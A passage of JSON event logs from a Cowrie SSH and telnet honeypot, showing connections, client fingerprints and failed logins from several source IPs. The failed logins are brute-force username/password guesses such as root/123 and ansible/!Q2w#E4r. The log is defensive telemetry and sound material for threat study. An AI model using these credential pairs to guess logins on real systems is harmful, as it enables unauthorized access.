af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.857208Z","src_ip":"103.176.20.115","session":"8a6d9c21dfd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.906600Z","src_ip":"176.65.139.103","session":"fa8cae1a01d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:56.162927Z","src_ip":"176.65.139.103","session":"fa8cae1a01d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1","message":"login attempt [root/zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:56.873822Z","src_ip":"103.176.20.115","session":"8a6d9c21dfd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:57.252362Z","src_ip":"176.65.139.103","session":"fa8cae1a01d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96487498283386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:57.539643Z","src_ip":"213.136.75.179","session":"608c56dda850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:58.121824Z","src_ip":"103.176.20.115","session":"8a6d9c21dfd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e33b000db26","protocol":"ssh","message":"New connection: 176.65.139.103:38428 (10.17.0.5:22) [session: 2e33b000db26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:02.589652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:02.625204Z","src_ip":"176.65.139.103","session":"2e33b000db26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:02.699719Z","src_ip":"176.65.139.103","session":"2e33b000db26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:03.157084Z","src_ip":"176.65.139.103","session":"2e33b000db26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:04.264332Z","src_ip":"176.65.139.103","session":"2e33b000db26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6cd5467f13","protocol":"telnet","message":"New connection: 213.136.75.179:36836 (10.17.0.5:23) [session: 6d6cd5467f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:06.093996Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55740,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a97bbbd9809","protocol":"ssh","message":"New connection: 159.203.92.129:55740 (159.203.135.109:22) [session: 7a97bbbd9809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:06.673899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:06.678315Z","src_ip":"159.203.92.129","session":"7a97bbbd9809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:06.682510Z","src_ip":"159.203.92.129","session":"7a97bbbd9809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!Q2w#E4r","message":"login attempt [ansible/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:06.696571Z","src_ip":"159.203.92.129","session":"7a97bbbd9809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:07.702691Z","src_ip":"159.203.92.129","session":"7a97bbbd9809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76b88b74f1f","protocol":"ssh","message":"New connection: 176.65.139.103:53968 (10.17.0.5:22) [session: e76b88b74f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:08.868185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:08.925293Z","src_ip":"176.65.139.103","session":"e76b88b74f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:08.982677Z","src_ip":"176.65.139.103","session":"e76b88b74f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.28994131088257,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:09.180615Z","src_ip":"213.136.75.179","session":"354037424106","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:09.361844Z","src_ip":"176.65.139.103","session":"e76b88b74f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.694952964782715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:10.334619Z","src_ip":"213.136.75.179","session":"f80b0187e902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:10.472421Z","src_ip":"176.65.139.103","session":"e76b88b74f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"a793060fecf4","protocol":"telnet","message":"New connection: 213.136.75.179:42194 (10.17.0.5:23) [session: a793060fecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:11.548050Z"}
{"eventid":"cowrie.session.closed","duration":32.53778028488159,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:13.204657Z","src_ip":"213.136.75.179","session":"6ea7ea61838f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35984,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae41624c096","protocol":"ssh","message":"New connection: 176.65.139.103:35984 (10.17.0.5:22) [session: 5ae41624c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:15.922208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:15.927222Z","src_ip":"176.65.139.103","session":"5ae41624c096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:16.013316Z","src_ip":"176.65.139.103","session":"5ae41624c096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:16.391876Z","src_ip":"176.65.139.103","session":"5ae41624c096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:17.600085Z","src_ip":"176.65.139.103","session":"5ae41624c096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36012,"dst_ip":"10.17.0.5","dst_port":22,"session":"790b933b2878","protocol":"ssh","message":"New connection: 176.65.139.103:36012 (10.17.0.5:22) [session: 790b933b2878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:22.398113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:22.402602Z","src_ip":"176.65.139.103","session":"790b933b2878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:22.491124Z","src_ip":"176.65.139.103","session":"790b933b2878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:22.738633Z","src_ip":"176.65.139.103","session":"790b933b2878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.984124183654785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:23.323028Z","src_ip":"161.97.124.15","session":"6e52a327cbc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:23.823211Z","src_ip":"176.65.139.103","session":"790b933b2878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60756,"dst_ip":"10.17.0.5","dst_port":22,"session":"29222c37ed1b","protocol":"ssh","message":"New connection: 176.65.139.103:60756 (10.17.0.5:22) [session: 29222c37ed1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:28.997938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:29.008117Z","src_ip":"176.65.139.103","session":"29222c37ed1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:29.082051Z","src_ip":"176.65.139.103","session":"29222c37ed1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:29.443753Z","src_ip":"176.65.139.103","session":"29222c37ed1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":59591,"dst_ip":"10.17.0.5","dst_port":22,"session":"d21051b9f08b","protocol":"ssh","message":"New connection: 52.231.220.210:59591 (10.17.0.5:22) [session: d21051b9f08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:29.982802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:29.987791Z","src_ip":"52.231.220.210","session":"d21051b9f08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"